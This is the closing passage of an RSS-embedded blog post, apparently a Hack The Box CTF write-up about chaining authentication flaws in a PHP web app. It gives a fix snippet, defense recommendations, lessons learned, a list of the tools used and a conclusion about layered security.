    &lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// critical&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'profile_content.php'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Defense Recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Always call &lt;code&gt;exit;&lt;/code&gt; right after &lt;code&gt;header()&lt;/code&gt; redirects in PHP&lt;/li&gt;
&lt;li&gt;Use consistent, generic error messages for all login failures&lt;/li&gt;
&lt;li&gt;Add rate limiting (e.g. lock out or slow down after 5 failed attempts per IP)&lt;/li&gt;
&lt;li&gt;Validate session + 2FA state on every protected page, not just at login&lt;/li&gt;
&lt;li&gt;Check new passwords against breach databases like HaveIBeenPwned&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Key Lessons Learned
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Small vulnerabilities compound — none of these alone is critical, but chained together they gave full auth bypass&lt;/li&gt;
&lt;li&gt;Never trust client-side redirects for access control — always validate server-side&lt;/li&gt;
&lt;li&gt;Error messages leak information — even subtle differences enable enumeration&lt;/li&gt;
&lt;li&gt;Password policy ≠ password security — complexity rules don't stop reused/breached passwords&lt;/li&gt;
&lt;li&gt;Defense in depth matters — any single one of these fixes would have stopped the attack&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ffuf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Web fuzzing for enumeration and brute force&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;grep&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Filtering wordlists by pattern&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Burp Suite&lt;/td&gt;
&lt;td&gt;HTTP interception and response modification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SecLists&lt;/td&gt;
&lt;td&gt;Pre-built wordlists&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This challenge is a solid example of why secure coding practices aren't optional. The dev likely assumed a redirect was enough access control, that subtly different error messages wouldn't be noticed, and that a password policy alone made passwords secure. Chaining three small gaps together broke all three assumptions.&lt;/p&gt;

&lt;p&gt;Security isn't about one strong defense — it's layers, so that when one fails, the others still hold.&lt;/p&gt;

&lt;p&gt;Happy hacking! 🔐&lt;/p&gt;

</description>
      <category>htb</category>
      <category>security</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
